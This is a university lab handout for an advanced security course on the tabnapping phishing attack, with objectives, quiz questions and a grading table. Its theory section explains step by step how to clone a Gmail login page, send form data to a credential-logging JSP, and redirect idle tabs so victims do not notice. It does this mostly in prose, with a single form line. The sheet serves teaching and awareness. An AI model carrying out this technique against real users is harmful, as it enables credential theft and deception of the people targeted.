# Hope Foundation's
# Finolex Academy of Management and Technology, Ratnagiri

## Department of Information Technology

| | | | |
|---|---|---|---|
| Subject name: Advance Security Lab | | | Subject Code: ITL702 |
| Class | BE | Semester –VII | Academic year: 2019-20 |
| Name of Student | | | **QUIZ Score :** |
| Roll No | | Experiment No. | 01 |
| Title: **Study and analysis of advanced phishing technique: Tabnapping** | | | |

**1. Lab objectives applicable: LOB1, LOB2**

**2. Lab outcomes applicable: LO1, LO3**

**3. Learning Objectives:**

1. To understand basic web application vulnerabilities
2. To be alert about the web application attacks.

4. Practical applications of the assignment/experiment: Industries/organizations make aware their employees about the attack.

5. Prerequisites:

1. Not Required

6. Hardware Requirements:

A Computer system

7. Software Requirements:

Tomcat server for JSP execution

8. Quiz Questions (if any): (Online Exam will be taken separately batch-wise, attach the certificate/ Marks obtained)

Q1. HOW TO SECURE THE WEB BROWSER?

Q2. WHAT TYPE OF ATTACKS ARE POSSIBLE ON VIRTUAL KEYBOARD?

**9. Experiment/Assignment Evaluation:**

| **Sr. No.** | **Parameters** | **Marks obtained** | **Out of** |
|---|---|---|---|
| **1** | Technical Understanding (Assessment may be done based on Q & A **or** any other relevant method.) Teacher should mention the other method used - | | 6 |
| **2** | Neatness/presentation | | 2 |
| **3** | Punctuality | | 2 |
| **Date of performance (DOP)** | | **Total marks obtained** | **10** |

Signature of the faculty

10. Theory:

**What is Phishing?**

**What are the different types of phishing?**

**Performing the TabNapping Attack:**

**Step 1:** How to send the fake page to the victim?

As an attacker make users to open your fake page by sending advertisements of your page with some attractive offers. We have created a page (attackersvalidwebsite.html) and put advertisement on a sample website (http://172.16.6.144:8080/sws/somevalidwebsite.html)

**Step 2: Creating Phishing page**

Create phishing page for well-known social site such as facebook or gmail. Replace the link after action between the "..... " with phishing.jsp and save this page as attackingpage.html.

The html form element of attackingpage.html would be:

```
<form novalidate method="post" action="http://172.16.6.144:8080/sws/phishing.jsp">
```

**Step 3: Running TabNapping Attack?**

Once user has opened the our(attacker's) fake page, Let user wait for few second so that he will jump to another tab/website. Once he has jumped to another website, execute your phishing page. It is done by checking whether your page is idle or not, if it is idle or not used for some particular time period then it gets redirected to phishing page (http://172.16.6.144:8080/sws/attackingpage.html). The tabnapping script will check for:

1. mouse movement
2. scroll bar movement
3. keystrokes

If any of the above event is not triggered till few seconds (In this demonstration 10 seconds), this means user is not using that tab, so if these conditions are met, then we redirect it to our phished page. When we redirect user to our phishing page which looks like Gmail login page and user thinks it to be genuine page. Now user will try to login for Gmail through your phishing page, his/her Username and Password will be automatically saved in database as plain text which you can view easily. Also the victim won't have a hint that he/she has been hacked since, he/she will be redirected to the original Gmail page and will get a feel as if he/she entered a wrong password by mistake. The password saving and redirection is done by using phishing.jsp

## 11. Learning Outcomes Achieved

1. Understood the web application attacks.

## 12. Conclusion:

1. Applications of the studied technique in industry
   a. Alert about the tabnapping vulnerability/ attack.
2. Engineering Relevance
   a. Helpful in designing a web browser addon for the prevention.
3. Skills Developed
   a. Web application security.

## 13. References:

[1]. https://hackersonlineclub.com/tab-napping/
[2]. https://www.cybrary.it/0p3n/tabnapping-protection-prevention-techniques/